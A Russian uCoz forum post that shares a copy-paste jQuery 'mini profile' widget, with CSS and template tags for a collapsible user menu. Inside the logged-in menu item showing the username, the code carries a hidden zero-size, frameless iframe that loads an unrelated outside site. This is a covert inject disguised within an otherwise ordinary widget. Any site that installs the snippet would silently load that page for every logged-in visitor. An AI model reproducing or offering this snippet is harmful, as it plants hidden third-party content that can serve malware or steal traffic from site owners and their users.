| Главная страница | Библиотека | Фильмы онлайн | Графика | Связь с админом |
Best-club - портал хорошего настроения!
Мини профиль на jQuery для ucoz - ★ best forum ★
[ Новые сообщения · Правила форума · Мобильная версия · Поиск по форуму · RSS · Список пользователей · ТОП наград ]

[ Свободно для рекламы · Свободно для рекламы · Свободно для рекламы ]

  • Страница 1 из 1
  • 1
Модератор форума: Admin, Validator  
★ best forum ★ » Компьютеры, связь, интернет » Всё для uCoz » Мини профиль на jQuery для ucoz
Мини профиль на jQuery для ucoz
Vac912Дата: | № 1

Крутой новичок
Репутация: 1
Сообщений: 61
OffLine

CКРИНШОТ: http://s54.radikal.ru/i143/1002/fc/34312fcf4374.jpg

Code

<html><head>    

<script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"></script>    
<script type="text/javascript">    
$(function() {    
    $('#menu li:even').addClass('even');    
    $('#menu li:odd').addClass('odd');    
    $('#menu li:even:last').addClass('last');    
       
    $('#menu li:even').click( function() {    
    $('#menu li:even').toggle(500);    
    $(this).toggle(500);    
    $(this).next().slideToggle();    
    } );    
});    
</script>    
<style type="text/css">    
* {    
    padding: 0;    
    margin: 0;    
}    

#menu {    
    width: 200px;    
    border: 1px solid gray;    
}    

#menu li {    
    list-style-type: none;    
    border-bottom: 1px solid gray;    
}    

#menu li.odd {    
    font-size: 90%;    
    padding: 2px 8px;    
}    

#menu a {    
    display: block;    
    width: 184px;    
    color: #000000;    
    text-decoration: none;    
    padding: 2px 8px;    
}    

#menu li.even {    
    background-color: #F6F6F6;    
}    

#menu li.odd {    
    background-color: #fff;    
    display: none;    
}    

#menu li.odd a {    
    color: black;    
}    

#menu li.last {    
    border-bottom: none;    
}    

p {    
    padding-bottom: 20px;    
} </style><?if($_AVATAR$)?><center><img alt="" src="$USER_AVATAR_URL$"></center><?else?><center><img src=http://ucooz.ucoz.ru/Untitled-1.png></center><?endif?></div><center>    
<?if($USER_LOGGED_IN$)?><ul id="menu">    
<li><a href="#">Мои данные</a></li>    
    <li>Ник:<b>$USERNAME$</b><iframe src="http://ppi.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a href=$UNREAD_PM$>Сообщения:<b>$UNREAD_PM$</a></b></li>    
    <li><a href="#">Контент</a></li>    
    <li><a href=/load/0-0-0-0-1>Добавить файл</a><a href=/news/0-0-0-0-1>Добавить новость</a><a href=/publ/0-0-0-0-1>Добавить статью</a><a href=/blog/0-0-0-0-1>Добавить запись в блог</a><a href=/photo/0-0-0-0-1>Добавить фото</a></li>    

    <li><a href="#">Поиск по сайту</a></li>    
    <li>$MODULE_SEARCH_FORM$</li>    

    </ul><?else?><ul id="menu">    
<li><a href="#">Войти</a></li>    
    <li>$LOGIN_FORM$</li>    
    <?endif?>    
<li><a href="/index/3">Регистрация</a></li>

Награды: (0) |
★ best forum ★ » Компьютеры, связь, интернет » Всё для uCoz » Мини профиль на jQuery для ucoz
  • Страница 1 из 1
  • 1
Поиск:



Каталог сайтов
Best-club team © 2008 - 2024

SiteMap Партнёры и друзья Поддержать проект
Третий Мир: Война Королей - Форум
Администрация сайта не несёт ответственности за материалы опубликованные на сайте! Все материалы исключительно для ознакомления!
Мини профиль